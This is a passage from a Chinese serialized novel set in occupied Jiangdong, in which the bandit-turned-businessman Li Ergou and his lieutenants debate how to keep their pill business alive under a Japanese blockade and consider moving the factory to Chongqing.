脸上的笑意瞬间消失了,眼底里满是委屈,小脸一下子涨得微红,急赤白脸地说道:“狗哥,你这话太见外了!素文姐住在我这里,怎么会是添麻烦呢?” 她抬起眼,认认真真地看着李二狗,眼底满是真挚的情愫。 “我今日的安稳日子,身上穿的、日常用的,哪一样不是你和素文姐给的?没有你们,就没有我的今天!我能照料素文姐,是我的本分,是我的福气,我是心甘情愿的!你这么客气,反倒生分,我心里难受得很!” 她说着说着,眼眶就红了,泪珠在眼眶里打转,眼看就要落下来了。 李二狗本是随口一句客套话,没想到竟让她这般较真委屈。 看着她快要落泪的模样,他心里微微一软,连忙安抚道:“好好好,是我不对,是我见外了。我就是随便一说,你倒是急眼了。快别难过了,也别哭了,让外人看见,好像我欺负你似的。” 望冬咬着粉嘟嘟的嘴唇,强忍着眼底的泪水,带着几分娇嗔的委屈,小声嘟囔道:“哼,你以后要是再这么见外,再说这种话,我就真的不理你了。” 她语气软糯,带着少女独有的小脾气,眼里却藏着满心的在意。 李二狗看着她这般模样,紧绷了一早上的心弦,稍稍松动了些许。 就在这时,院门外传来了一阵脚步声,两道熟悉的身影并肩走了进来,是秀才和孙连胜。 两人刚踏进院门,抬眼就看到了院中站着的李二狗和望冬,皆是一愣,随即面露惊喜。 秀才率先问道:“狗哥,你怎么来了?” 几乎是同一时间,李二狗和身旁的望冬,听闻这句一模一样的问话,不约而同地“噗嗤”一声笑了出来。 安静的小院里,瞬间多了几分鲜活的气息,冲淡了些许压抑沉闷。 李二狗抬眼看向两人,眉眼间的凝重稍稍褪去,依旧是方才那句玩笑话。 “怎么?我不能来吗?” 秀才连忙笑着摆手,满脸恭敬地说道:“狗哥,我可不是这个意思!山上的事由我们盯着就够了,有任何事,你只管吩咐,我们下山听令就行,哪能劳你亲自跑一趟山路。” 李二狗此刻心里装着沉甸甸的大事,没有闲心说笑寒暄。 他没有顺着秀才的玩笑往下接话,神色很快便恢复凝重,直接问道:“去叫老三了没有?” 秀才见状,立刻收敛笑意。 “三哥一早带人去后山山洞工厂那边巡查了,我已经派人去喊了,应该很快就到了。” “后山山洞工厂”几个字,钻进李二狗耳朵里的瞬间,他刚刚稍稍缓和的心情,瞬间又沉了下去,心头的惆怅和沉重再次翻涌上来,比先前更甚。 没人比他更清楚,后山山洞里的工厂,是清风集团整条生计命脉。 工厂里生产的一夜八次丸,是清风集团最稳定的经济来源。 山上一众弟兄的吃穿用度、武器弹药、粮草物资、日常防务开支,全都靠着这条销路支撑着。 可以说,这座山洞工厂,就是清风集团的根基命脉,半点断不得。 可眼下,局势已经到了岌岌可危的地步。 日本人在江东全境大肆修筑壕沟、架设铁丝网,在交通要道上修建炮楼,一点点分割封锁整片区域。 用不了多久,整个江东就会被日本人彻底封死。 到那时,山洞工厂生产的一夜八次丸,一车都运不出江东。 药丸销路彻底断绝,财源直接被掐断,集团上千号弟兄的生计都会跟着彻底崩塌。 手中没钱,心里就慌! 这不是小事,这是关乎所有人存亡和集团生死的天大危机。 无比沉重的后果压得李二狗心口一阵阵发闷,呼吸都跟着沉重了几分。 小院里的气氛,再次悄然凝重下来。 几个人静静地站在院中,没人随意开口,都隐约察觉到,今日之事,非同小可。 李二狗不主动说,他们便不主动问。 众人都默契地保持着沉默,等待陈老三回来。 没过多久,院外传来一阵急促而又粗放的脚步声,伴随着大大咧咧的呼喊声,不用看人,就知道是性子莽撞急躁的陈老三回来了。 “这么着急把我叫回来做什么?” 话音未落,陈老三已经大步跨进院门。 第786章 感情归感情,事业是事业 陈老三刚巡山回来,身上还带着山间清晨的露珠。 他的衣衫略显凌乱,一进门就看到院中玉树临风的李二狗,眼睛瞬间便亮了。 秀才只是派人叫他马上回来,并没有告诉他是李二狗回来了。 他万万没想到,李二狗时隔多日,竟然再次回到了清风集团。 他满脸惊喜,忍不住大声问道:“狗哥!你怎么来了?” 从望冬、秀才再到陈老三,在场的几个人,见到李二狗,都接连问出了一模一样的一句话。 几个人对视一眼,再也忍不住,全都笑了起来。 笑声落在陈老三耳中,他反倒愣在原地,伸手抓了抓自己的后脑勺,一脸的茫然。 他完全摸不着头脑,不知道众人究竟在笑什么。 看着他一脸懵逼的模样,李二狗忍不住自嘲地笑道:“照这么看,往后我倒是得少上山了。不然你们见到我,都要问上这么一句,倒显得我不应该来了。” 李二狗几句简单的打趣,稍稍冲淡了小院里压抑的气氛。 说笑几句之后,众人不再站在院中吹风,一同走进屋内落座。 刚一坐定,性子最急的陈老三就率先问道:“狗哥,你今日这么早亲自上山,肯定是有什么要紧的事吧?你直接吩咐吧,我们都听你的!” 屋内的说笑氛围早已消散,所有的人都知道李二狗大清早赶到清风山,肯定是有十分重要的事情。 只是大家都不敢问,唯独陈老三耐不住性子问了出来。 他仗着和李二狗关系好,李二狗不在集团的日子,秀才的话,他都是有选择的听。 大家也都知道他和李二狗的特殊关系,一般情况下也不和他计较。 好在李二狗并不是一个偏听偏信的领导,大家都信服他。 大家都端正坐好,目光齐齐地落在李二狗身上,静待他开口吩咐。 李二狗端坐在主位上,神色凝重,眉眼间满是沉肃,没有半分玩笑之意。 他抬眼扫过在场的众人,缓缓开口道:“你们最近应该都听说了吧?日本人最近动作频繁,抓了大量的民夫,正在江东各处疯狂地挖壕沟、架铁丝网、建炮楼。” 这些消息,山上众人多多少少都听说过一些。 其实日本鬼子自打占领江东开始,就一直在挖壕沟、修炮楼,这对众人来说没有什么奇怪的。 难道李二狗大清早赶来就是为了说这些? 看着众人茫然的神情,李二狗意识到他们并没有意识到事情的严重性。 他继续说道:“这次和以往不同,日本鬼子是想借着修建的这些壕沟、炮楼以及架设的铁丝网,妄图把咱们江东分割成十几个互不连通的独立区域。以后我们想要从一个镇子进入另一镇子,只能通过他们重兵防守的关卡,他们这样层层封锁,步步管控,目的就是牢牢地控制住江东所有人的出入。” 李二狗说完,秀才立刻反应过来,他说道:“没错狗哥,这件事我早就留意到了,也专门计算过他们的进度。按照日本人现在的修建速度,不出半年,整个江东就会被他们的壕沟、炮楼和铁丝网彻底围死。到那时候,整个江东,就是十几座密不透风的囚笼,咱们进出两难,彻底被锁死在里面。” 众人这才意识到这件事情的严重程度。 一旁的陈老三听完这番话,顿时怒火上涌,性子暴躁莽撞的本性瞬间暴露。 他狠狠地往桌案上一拍,咬牙怒骂道:“这帮狗日的日本鬼子!真是没完没了,净出些阴损招数!他们一天不折腾就浑身难受!真让他们建成了,咱们的药丸还怎么运出去?依我看,不用等他们修成!今天夜里,我直接带一队弟兄下山,把这些狗日的炮楼、壕沟,全都给他娘的炸平了!看他们还怎么封锁!” 他说话冲动鲁莽,做事只凭一腔热血,不动半点脑子,典型的莽夫性子。 李二狗看着他这副冲动莽撞不计后果的模样,心里暗自叹气。 陈老三跟着他出生入死这么多年,一向忠心耿耿、勇猛敢拼,是自己最亲密最忠诚的朋友,唯独他这莽撞的性子一辈子都没有一点长进。 遇事只会硬打硬冲,头脑简单,行事莽撞,从来不会权衡利弊,永远凭着一腔子火气做事。 眼下局势这般复杂凶险,岂是靠一腔蛮勇、几次硬炸就能解决的? 李二狗看着他,忍不住质问道:“如今全县境内,方圆几百里,到处都是日本人的工地,到处都在挖壕沟修炮楼。你带人一夜能炸几座?能毁几段?难道日本人就不会防备吗?眼睁睁地看着你去炸?” 他目光锐利,句句直击要害:“你今晚带人炸了,他们明天就会调集更多的民夫,接着修、接着建。你炸得再快,也赶不上他们修建的速度。这般盲目蛮干,根本解决不了根上的问题,反倒白白折损弟兄,得不偿失。” 李二狗一番话说的条理清晰,直指弊端。 其他人听了无不点头称是,尤其是秀才,他正低着头,认真地把李二狗的话原原本本地记在了自己的小本子上。 对于他来说,李二狗的这些话都是知识点,都是自己不断取得进步的精神食粮。 秀才模仿李二狗的这些年,的确取得了很大的进步。 这也是李二狗为什么把集团二把手的位子给秀才,而不是给和自己关系更好的陈老三的主要原因。 感情归感情,事业是事业,李二狗不是拎不清的人。 可陈老三性子倔犟,根本听不进去李二狗的这番道理,心里依旧一万个不服气。 他梗着脖子,满脸的不服气,硬声道:“他们明天修,我明天就接着炸!我倒要和他们比比,是他们修得快,还是我炸得快!大不了夜夜干,和他们耗到底,看谁熬得过谁!” 看着他油盐不进的执拗模样,李二狗彻底无奈,心底满是疲惫。 屋内再次陷入沉寂,空气压抑凝重,所有人的心头,都被一层沉甸甸的阴霾彻底笼罩。 第787章 唯有秀才一人 陈老三小院的堂屋里头,气氛沉闷,连窗户外吹进来的山风,都带着一股子压抑的味道。 众人围坐在一张八仙桌四周,望冬另外搬了一条板凳坐在李二狗的侧方,这样她一抬头,就能看见他那张刀削斧凿般的英俊侧脸。 屋里坐着的都是清风集团的核心领导层。 平时意气风发的他们,此时却一个个都垂着头,没人吭声,只听见屋外几声虫鸣,还有远处山里隐隐的风声。 李二狗端坐在堂屋正中间的木椅上,身上的粗布褂子洗得干干净净,面无表情,看不出半分焦躁。 他越是这样,大家心里越没有底。 只要李二狗不开口说话,大家就都保持着沉默,谁也不想触这个霉头。 李二狗自从建立清风寨开始,但凡开会,他从来不先拍板,都是先让其他人发表意见,自己最后再做总结,下达命令。 他指尖轻轻地敲了敲桌面,声音不高,却透着一股子沉稳,在安静的屋里清楚地传到每个人的耳朵里。 “大家都说说自己的意见吧。” 李二狗说完,屋里依旧静悄悄的。 在场的人心里都清楚,眼下局势棘手得很。 日本人最近动作频频,日夜不停地挖壕沟、修炮楼、拉铁丝网,摆明了是想把江东建成一个囚笼。 这相当于堵死了清风集团的出路,尤其是撑起整个集团的药丸生意,早晚要被活活困死。 事关所有人的生计,谁心里都捏着一把汗,可越是紧要关头,越没人敢胡乱开口。 大伙都闷着头,要么盯着自己的鞋面,要么看着桌角的木纹,都在暗自琢磨,谁也不愿率先出头说错话。 唯有坐在李二狗右手边的陈老三,跟旁人截然不同。 他素来性子火爆,做事莽撞急躁,心里根本藏不住事。 从刚才众人议事开始,他就一直梗着粗脖子,紧皱着眉头,腮帮子鼓鼓的,满脸都是不服气的模样。 看大家都沉默不说话,他实在是憋不住了。 他瞅了大家一圈,然后往前欠了欠身子,粗声粗气地说道:“我还是刚才的意见!” 他抬起眼,直愣愣地看了李二狗一眼,发现他并没有阻止自己说话的意思,便更加有恃无恐。 “不行就炸了它!左右都是被困死,窝在山里坐以待毙,那是孬种行为!咱们手里的家伙又不是烧火棍,与其眼睁睁被困死在这深山里,不如直接动手,跟狗日的日本人拼一把!龟田一郎以前多嚣张,不也被咱们消灭了吗?我看樱木花道这小鬼子也是寥寥动静。” 这番话带着陈老三一贯的鲁莽冲动。 屋里众人闻声,纷纷悄悄抬眼瞥了他一下,又飞快低下头,依旧没人搭腔。 李二狗坐在原位,神色没有半点波动,既没皱眉,也没应声。 他像是压根没听见陈老三的莽撞提议,连瞅都没瞅他一眼。 他目光平静地环视了一圈屋子,将每个人的姿态神色都尽收眼底。 他们个个都耷拉着脑袋,脸上都是一筹莫展的模样,没人敢抬头对上他的视线,更没人主动开口。 所有人都心里没底,拿不出一个可行的法子。 陈老三说完,屋里又沉默了好一阵子,只剩下陈老三粗重的喘息声。 半晌过后,李二狗缓缓开口道:“连胜,你什么意见?” 被点名的孙连胜心里当即一紧,连忙抬起头,脸上带着几分茫然。 他坐在板凳上,双手不自觉放在膝盖上,眼神闪躲,不敢直视李二狗。 日本人大规模在江东挖壕沟、建炮楼的事,他也是刚才才知晓,此前一点风声都没察觉到。这些日子他只顾着在集团训练特别行动队,压根没留心外头局势变得这么凶险。 突然遇到这种关乎生死存亡的大事,他脑子里空空荡荡,一点主意都想不出来。 局促了片刻,他只能老老实实地说道:“狗哥,我……我还没想好。局势变得太快,我一时摸不着头绪,实在想不出什么妥当的法子。” 李二狗闻言,脸上依旧没有什么表情,只是若有所思地点了点头,随即看向望冬。 “望冬,你呢?” 听见喊自己的名字,望冬身子轻轻一颤,脸颊瞬间泛起一层淡淡的红晕,整个人愈发局促羞涩。 她一直安安静静地坐着,双手轻轻攥着衣角,安静地听着众人说话。 方才陈老三高声嚷嚷硬拼硬炸的时候,她心里悄悄为他捏了一把汗,既害怕他冲动行事惹出大祸,又忧心眼下的僵局,满心都是忐忑不安。 突然被李二狗点名,她心里一慌,心跳不由得快了几分,脸颊的红意更浓了。 她不敢抬头直视众人,头埋得更低了,声音细细软软的,带着少女独有的腼腆和羞涩。 “我……我也没想好。” 她脸皮薄,心里虽有几分粗浅的念头,却不敢当众明说,只是咬着唇,宁愿做个安静的美女子。 李二狗一眼就看穿了她的腼腆,也不勉强,只是温和地移开了目光。 本来他就对他们几个人不抱什么希望,最后,他的视线落在了一直坐在左手边的秀才身上。 屋里所有人要么沉默,要么莽撞,唯独秀才自始至终姿态端正,手里握着一支钢笔,低头对着面前的糙纸,认真地记录着方才众人说的每一句话,还有眼下面临的困境。 不管旁人是急躁嚷嚷,还是茫然沉默,他始终沉得住气,不慌不忙,条理清晰地整理着信息。这份沉稳细致的态度,在乱糟糟的议事氛围里,显得格外突出。 李二狗看人向来不看空话、不看姿态,只看行事。 他向来只认一个理,每临大事有静气,方能成就一番大事。 他看着认真记录的秀才,露出一个满意的笑容,这群人之中,能拿主意的人,也就唯有秀才一人。 “秀才,你说说你的看法吧。” 秀才闻言立刻停下手里的笔,随即抬起头。 他眼神清亮,一点慌乱都没有,显然早已在心里盘算清楚。 第788章 各司其职 秀才正视着旁边的李二狗,语气沉稳地说道:“狗哥,我仔细盘算过咱们眼下的处境。咱们清风农场,背靠整片群山,地理位置确实隐蔽,占了地势的便宜。” “北边连着大山,山里藏着几条崎岖狭窄的羊肠小道,日本人的大部队开不进去,也无法在那边修建炮楼、架设铁丝网。” 说到这里,秀才微微顿了顿,语气多了几分凝重。 “但是有一点,咱们必须明白。这些山路太过崎岖狭窄,单人徒步穿行尚且费力,若是想靠着这些山路,大批量往外运送药丸,根本行不通,完全不具备大规模运输的条件。也就是说人能勉强走,货根本运不出去。” 这番透彻而又精准的分析,一下子说到了最核心的难处上,瞬间勾起了李二狗的兴致。 李二狗坐在原位,微微前倾了身子,眼底多了几分赞许。 以前他只知道山里地势险要、易守难攻,却从未调查过山中所有道路的具体情况,更从没有顺着这些山路走出江东地界。 他深知山里有路,却不知这路究竟能否为己所用。 他看着秀才,沉声问道:“这些山路的具体路线,你亲自走过吗?” 秀才如实说道:“狗哥,暂时我还没有摸清所有道路的情况。但我已了解了所有进山通路的大致情况,会后我立刻安排人手,分批次进山,实地再详细勘察一遍路线。” “每条山路的宽窄长短,能不能运货,有没有隐患,所有细节我都会让人逐一记录,一定查得清清楚楚。” 李二狗闻言,脸上露出了几分认可的神色,语气里带着赞许:“嗯,很好,做事就得这般周全。” “时间紧迫,你要多安排几个兄弟分头去查。务必要实地踏勘,把每条山路的路况、隐患、通行条件,全部摸透,越详细越好。这件事虽然很急,但必须保证结果真实准确。” “明白!”秀才立刻拿起手里的钢笔,低头将李二狗的吩咐一字一句认真地记录在纸上,生怕遗漏半个字,“狗哥放心,会后我立刻就去安排,绝不耽误,三天之内,我让把所有山路的勘察明细整理好,亲自向你汇报。” 一旁的陈老三坐在边上,全程听着两人的对话,看着秀才有条不紊的模样,脸上满满都是不屑和看不惯。 他心里暗自撇嘴,打心底瞧不上这种磨磨唧唧的行事方式。 在他看来,大丈夫行事就该干脆利落,怕这怕那、前思后想都是懦夫行径,与其费工夫查山路,不如直接抄家伙和小鬼子干,简单痛快。 只是眼下李二狗正在安排事务,他不敢当众插嘴顶撞,只能憋着一股闷气,扭着头看向窗外,满脸的不耐烦。 李二狗将众人各异的神色尽数收在眼底,心里通透。 他这次特意亲自上山,召集所有人集中议事,不止是为了商议破解眼下被困僵局的法子,更重要的,是要给在场所有人提个醒、敲个警钟。 眼下药丸生意是整个集团的命脉,是所有人安身立命的根本,容不得半点差错。 日本人步步紧逼,局势日渐凶险,稍有不慎,就是满盘皆输。 他必须让每一个人都彻底重视起来,摒弃侥幸、散漫之心。 沉默片刻之后,李二狗再次开口,目光落在孙连胜身上,语气严肃地说道:“连胜。” 孙连胜连忙抬头,正色听令:“狗哥,你吩咐。” “这两天,你放下手里的杂事,专门抽出人手,好好查一查新上任的县长郭有财。”李二狗语速平缓,指令却清晰明确,“他的出身底细、为官作风、背后靠山、行事手段、有无把柄、跟日本人的牵扯深浅,所有能查到的信息,全部逐一摸清,越详细越好。” 孙连胜不敢怠慢,立刻郑重地保证道:“好!狗哥放心,我立刻带领几个可靠的兄弟着手去查,三天之后,我定把郭有财的所有底细查得一清二楚,详细向你汇报。” 李二狗微微颔首,随即转过目光,看向一旁早已按捺不住、浑身憋着劲的陈老三。 “老三。” 一听轮到自己领任务,陈老三瞬间眼睛一亮,方才的烦闷不屑一扫而空,整个人精神大振,脸上满是亢奋急切。 他性子本就好动,最是闲不住,最盼着能出去办事。 “狗哥!”他高声应道,满眼期待地看着李二狗。 李二狗看着他这副急躁亢奋的模样,心里清楚他的性子,叮嘱得格外细致。 “你带几个稳妥的兄弟,今夜入夜之后,悄悄去一趟胡汉三的家里。” “这人如今死心塌地投靠日本人,帮着日本鬼子做事,为虎作伥。你此番前去,不要动手杀人,只需好好警告他一番,敲打敲打他,让他心里有数,给自己留条后路,别一条道走到黑,彻底绑在日本人身上。” 陈老三一听能出去立威,当即热血上涌,拍着胸脯打包票:“放心吧,狗哥!这点小事包在我身上!我今晚肯定好好收拾收拾这个老东西,保管吓得他跪地求饶,再也不敢帮着日本人跟咱们作对!” 见他又透着一股冲动鲁莽的劲头,李二狗眉头一蹙,特意叮嘱道:“记住,把握好尺度。只是敲打警告、震慑人心,万万不可冲动行事,闹出人命。咱们眼下局势特殊,不宜多生事端。” 陈老三这会儿满心都是亢奋,听见叮嘱,连忙点头保证道:“晓得!狗哥你放心,我心里有数!绝对拿捏好分寸,只吓唬不伤人,绝不惹麻烦!” 安排完手头几项紧要的事务,屋里再次安静下来。 李二狗目光扫过在场的每一个人,对着众人沉声叮嘱道:“接下来这几天,所有人都把心思收一收,好好静下心来琢磨办法。” “咱们的药丸生意,是整个集团的命脉,半点差错都出不得。不管外头局势怎么变,日本人怎么围堵,这条命脉,必须死死守住,绝对不能出任何问题。所有人都务必上心,各司其职,谨慎行事。” 众人纷纷低头应声,没人再敢懈怠。 就在这时,一直低头记录的秀才,缓缓抬起了头。 第789章 “唯一的出路” 秀才眼底藏着一种深思熟虑的神色,他的嘴唇轻轻动了动,一副欲言又止的模样,似乎心里藏着一个大胆的想法,犹豫着该不该当众说出来。 李二狗最是心思敏锐,他一眼便捕捉到了秀才的神色变化,当即温和地鼓励道:“秀才,你有什么想法,尽管大胆地说出来,不用藏着掖着。” 得到李二狗的鼓励,秀才这才定了定神,正视着李二狗,说出了自己刚刚想到的一个大胆想法。 “狗哥,我反复琢磨着眼下中国的局势,日本人步步紧逼,封锁越来越严,所有通路迟早会被彻底堵死。长久困守在这里,终究不是办法。” “你继续说下去。”李二狗顿时来了兴趣。 “我有个想法,咱们能不能干脆把咱们的药丸工厂,整体搬到外地去?彻底脱离日本人的封锁!” 这话一出,屋里瞬间更静了。 所有人都没想到,秀才竟然敢提出搬迁工厂这般大胆的想法,一时间无人出声,全都默默看向李二狗。 其实,秀才的这个提议,李二狗在夜深人静的时候,早就反复想过,已在心里掂量过无数次。 只是他看得比所有人都更远更深,早已把其中所有的利弊、隐患和风险,全部盘算得清清楚楚。 眼下这乱世浮沉,偌大的华夏大地,根本找不到一处绝对安全的地方。 日本人的铁蹄四处践踏,战火蔓延各地。 那些已经被日军占领的区域,遍地烽火、管控森严,根本没有立足之地。 而那些暂时还没被日军攻占的地界,也随时处在战火威胁之中,时局动荡,朝不保夕,随时都有可能沦陷失守,根本算不上安稳退路。 除此之外,搬迁工厂还有数不清的棘手难题摆在眼前。 工厂一旦整体外迁,首先要敲定一处稳妥的落脚地,其次必须挑选一个绝对可靠而又能力足够的人,前去全权管理新厂区的所有事务。 最关键、最致命的一点,就是药丸的独家配方。 这配方,是整个药丸工厂的命根子,半点泄露不得。 一旦外泄,所有优势都会荡然无存。 迄今为止,知晓这个药丸完整配方的只有两个人,一个是他李二狗,另一个就是静雯。 这么多年来,他从未打算让第三个人知晓完整的配方,即使是李素文,他都未提及半分。 不是他不信任身边跟着自己出生入死的兄弟,陈老三、秀才、孙连胜这帮人,忠心毋庸置疑,跟着他一路摸爬滚打,从无贰心。 但乱世人心最是难测,人性最经不住利益诱惑。 寻常小事,可以凭情义托付,但这般关乎整个集团生死命脉的绝密,万万不能轻易交付旁人。再忠心的人,在极致的利益面前,也未必能守住本心。 这个风险,他赌不起,也绝不会去赌。 再者说,远赴异地建厂,人生地不熟,局势不明,人脉全无,又有谁愿意抛下当下安稳的根基,远赴陌生地界去冒险打拼? 更重要的是,工厂一旦搬离自己的视线范围,远离自己的掌控,很多事情就由不得自己做主。 千里之外,鞭长莫及,厂区的生产、运输、人事、安保,所有环节都会脱离掌控,其中变数太大,隐患太多,这是李二狗绝对无法接受的。 他甚至在独处之时,思虑过最极致的退路,动过把工厂直接搬到海外、日本或是美国的念头。 可细细掂量之后,他还是彻底否决了这个想法。 酒井空、旧垣结衣这些日本女人,个个性情善变,虽与李二狗有些情义,但那些都只是风月场上的交往。 眼下有利可图,尚且能好好合作,可若是将药丸的核心配方交到她们手里。 她们背靠海外势力,面对这般巨额利益的诱惑,日后必然尾大不掉,彻底驾驭不住,到头来只会养虎为患,自取灭亡。 而且这所谓一夜八次丸的配方,本身并不复杂玄妙,所用的药材也都是市面上随处可见的普通常见中药材。 真正值钱、能垄断市场、能撑起超高利润的根本,不在于药材本身,而在于各种药材精准到分毫的配比比例。 配比就是天机,就是绝密。 只要配比泄露,随便找个药铺,随便拉个作坊,人人都能仿制出一模一样的药丸。 到那时,独家垄断的优势彻底消失,超高利润瞬间归零,他这么多年打拼下来的根基,也就彻底毁了。 这般天大的风险,李二狗绝对不会冒。 他心里思绪翻涌,瞬间权衡完所有利弊,面上依旧神色平静,没有立刻否定秀才的提议,也没有认同,只是抬眼看向对方,缓缓反问了一句:“你的想法是好的,可你说说看,眼下这世道,你觉得能把工厂搬到哪里去才算稳妥?” 听见这句反问,秀才眼底瞬间亮了几分。 他心里清楚,李二狗一向眼光长远,这般反问,就说明自己的提议没有被全盘否定,是入了他的眼的。 显然,这个问题他早就在心里仔细盘算过,绝非随口乱说。 他定了定神,从容不迫地说道:“狗哥,我仔细研究过眼下的战局局势。如今日军势如破竹,向南推进的速度极快,北方全境早已沦陷,彻底被日军牢牢掌控,根本没有立足的可能。” “北方、东部、中原、江南,处处战火纷飞、接连失守,都不安全。思来想去,唯一的出路,就是往西迁、往内陆迁,西南地界,是眼下最稳妥的选择。” “哦?”李二狗瞬间生出浓厚的兴趣。 他从秀才这番条理清晰的话里,敏锐地察觉到,对方绝不是随口空想,必然提前做足了功课,摸清了局势,心里早已有着完整的规划。 他抬了抬手,示意对方继续细说:“你具体说说你的盘算。” 得到李二狗的鼓励,秀才努力压下藏在心底的欣喜,他有条不紊地娓娓道来:“狗哥,纵观全国局势,眼下最优的落脚地,当属云贵川三地。” 第790章 还是等下次吧 秀才继续说道:“西南地区群山环绕、山势险峻,道路崎岖难行,天然就是最坚固的屏障。日军的机械化部队和大兵团兵力,根本无法大规模开进,进攻难度极大,很难快速攻占。” “自古便有蜀道难,难于上青天的说法。云贵川三地之中,又以四川为最优选择。而四川境内,地势最险要、防御最稳固、最易守难攻的地方当属重庆。依我之见,咱们首选之中的首选,就是重庆。” 秀才的这番分析有理有据、条理清晰、眼光独到,确实句句在理。 李二狗默默地听着,微微颔首,心里暗自认可秀才的眼光和敏锐。 如今国民政府早已退守西南,将重庆定为战时陪都。 堂堂一国政府,举国退守,偏偏选定重庆扎根立足,足以证明此地地势险要、易守难攻,有着天然的防御优势。 日军想要突破层层天险、攻下重庆,绝非易事。 从战局大势来看,重庆若是彻底沦陷,国民政府便再无退路,整个华夏腹地也就彻底门户大开。 所以无论如何,重庆都是国军死守的底线,绝对不会轻易失守,短时间内必然安稳。 可李二狗看得比秀才更全面、更通透,在利好局势之下,他早已看清了其中隐藏的重重弊端和致命隐患。 他心里暗自权衡利弊。 首先,重庆身为战时陪都,是举国抗战的核心枢纽,城内城外军警林立、特务遍布,防守森严到了极致,管控力度远超寻常城市。 他们的药丸生意特殊,生产的货品大多辗转流通,相当一部分都会流入日本国内。 这般敏感的营生,一旦扎根重庆,被国民党特务察觉到半点风声,便是通敌资敌的杀头大罪。 你不能和特务说,挣日本人的钱是为抗日大业做贡献,这就好比睡日本女人是为国民政府争脸一样站不住脚。 在重庆,上面没人,没有人脉根基,一旦出事,无人为之周旋,只能坐以待毙。 其次,重庆的地理位置太过偏远。 重庆远在西南内陆深山,距离东部沿海相隔数千里之遥。 他们的核心销路在日本,在欧美,必须通过海路运输,若是工厂西迁至此,日后生产出的药丸,想要千里迢迢运往东部,路途遥远、关卡重重、战火遍地,运输难度、运输成本和运输风险,丝毫不比眼下被困深山的处境更小。 看似跳出了日军的包围圈,实则又陷入了新的困局,根本解决不了根本问题。 至于他心中所想的海外建厂,更是隐患重重,目前来看,绝不可行。 他深知酒井空为人圆滑、心思多变,唯利是图,毫无信义可言。 眼下合作是因为有利可图,可一旦手握配方、掌控产业,凭借海外势力,必然反噬自身,这份风险,无人能承受。 心里利弊权衡完毕,李二狗心中已然有了定论。 他看着眼前满怀期待的秀才,语气平和地说道:“秀才,你小子的眼光不错,想法也周全,提前看透了局势,这份心思很难得。” 秀才闻言,心头一暖,同时他也知道,李二狗这是欲抑先扬,便静静地等着下文。 “只是眼下的时局,还没到非搬不可的地步。”李二狗话锋一转,温和地定下结论,“深山的封锁虽紧,但现在还没有彻底封死所有出路,咱们还有缓冲周旋的余地,没必要急于一时搬迁大本营。” 他随即再次下达命令,还是延续此前的部署:“你不必纠结搬迁的事,眼下最紧要的,还是山里的通路。你立刻挑选精干的兄弟,分批进山,仔细探查所有山路的情况,先把眼前的困局破开。” “是!”秀才答应一声,不再多言,低头将命令认真记下。 李二狗环视众人,见所有事务都安排妥当,便说道:“行了,事就安排到这里吧,接下来大家各司其职,分头准备,务必要谨慎行事,切不可麻痹大意。” “是,狗哥!”众人齐齐应声。 话音落下,所有人都纷纷从板凳上站起身,准备各自散去,着手落实手头的事务。 李二狗也跟着众人一同起身,整理了一下衣襟,准备跟着众人一同走出堂屋。 就在他迈步的瞬间,身后传来一道轻柔腼腆的女声。 不用想,肯定是望冬。 望冬一直看着李二狗有条不紊安排各项事务,看着他运筹帷幄的模样,心底满是敬佩。 她看着李二狗难得上山一趟,如今事情一了结就要转身离开,心里难免生出几分不舍。 犹豫再三,她终于鼓起勇气,红着脸颊,轻声挽留道:“狗哥,你都好久没上山来了,好不容易来一趟,别急着走啊。” 众人闻言,都下意识停下脚步,转头看向角落里羞涩拘谨的望冬。 望冬被众人看得脸颊更红,头微微垂着,双手紧紧攥着衣角,声音软软的,带着几分小心翼翼的期盼。 “留下来吃了饭再走吧,虽是粗茶淡饭,也是我……我们的一点心意。” 李二狗回头看向满脸期待的望冬,看着她泛红的脸颊、怯生生的眼神,眼底瞬间染上一抹温和的暖意。 他露出一抹温和的笑容,语气轻松地说道:“哈哈,不用了。早饭才刚吃完没多久,肚子还是饱的,哪能天天只惦记着吃饭。” 他怕望冬误会,又补充道:“你的心意我收下了,还是下次吧,等下次有空,我再来山上吃饭。” 然后他对着望冬轻轻点了点头,转身跟着一众兄弟,走出了堂屋大门。 望冬站在原地,静静地望着众人离去的背影,看着李二狗挺拔的身影渐渐走远,然后消失在院门口,眼底的期待一点点褪去,眼里漫上几分淡淡的失落。 她依旧羞涩腼腆地站在原地,心里默默盼着,他口中的下次,能来得早一点。 堂屋里的人渐渐走空,方才压抑的氛围慢慢散去,只余下满屋静谧,还有一丝未曾散去的李二狗的气息。 第791章 小曼离开江东 李二狗走出陈老三家那座青砖小院的木门后,不顾大家热情挽留,直接和众人作别,和张二驴一起离开了清风农场。 刚出了寨门不远,李二狗便停下脚步,站在一个高处,深情回望这座规模浩大的清风农场。 经过多年苦心经营,如今的清风农场已是枝繁叶茂、家大业大。 农场之中,一座座建筑物鳞次栉比,一群群兄弟来回穿梭其中,一片繁忙热闹的景象。 李二狗很难想象,如果以后清风集团失去最重要的经济来源之后这里会变成什么样子。 古语道,享乐容易,患难难。 他相信,如果没有粮饷,清风集团很快就会陷入分崩离析的境地。 因为人必须要吃饭,要穿衣,还要养家糊口。 他不知道,如果没有钱,靠什么来笼络这群兄弟?他们还会心甘情愿地跟着自己吗? 钱虽不是万能的,可没有钱是万万不能的。 此时已是春暖花开的季节,山里的风不冷不热,吹在身上却带着一股子说不出的沉闷。 方才在院里开完会,安排完山里探路、敲打胡汉三、摸排新县长底细等一堆要紧的事,心里的大事暂且落了地,可心口那处空落落的地方,却半点暖意都没有。 李二狗深深地叹了一口气,幽幽地说道:“我们走吧。” 张二驴亦步亦趋跟在他身后,一路顺着蜿蜒的山道往下走,脚步声沙沙作响却显得异常安静,他不敢多嘴打乱李二狗的思绪。 就这样一路沉默下山,走到山道分岔口,能远远地望见山下镇子的炊烟,李二狗才停下脚步,侧头看向身边的张二驴。 他神色淡淡地说道:“二驴,你先回胡家大院吧。” 张二驴愣了一下,连忙说道:“狗哥,那你去哪?我还是跟着你。” 张二驴不放心李二狗,总感觉他心里压着一块大石头。 “不用。”李二狗轻轻地摆了摆手,“我还有点事要办,你先回去守着大院。” “是。”张二驴不敢多问,知道李二狗行事自有分寸,点点头便转头顺着大路往胡家大院的方向赶去。 看着张二驴的背影渐行渐远,不一会儿就彻底消失在路口拐角,山野间彻底安静下来。 四下无人,暖风掠过树梢,卷起细碎的风声。 心底压了许久的念想,这一刻不受控制地翻涌上来。 从上海回来,折腾了一路,回到江东之后就被各种事缠得团团转,东奔西走处理琐事,愣是没得一刻空闲,也没敢主动去见那个人。 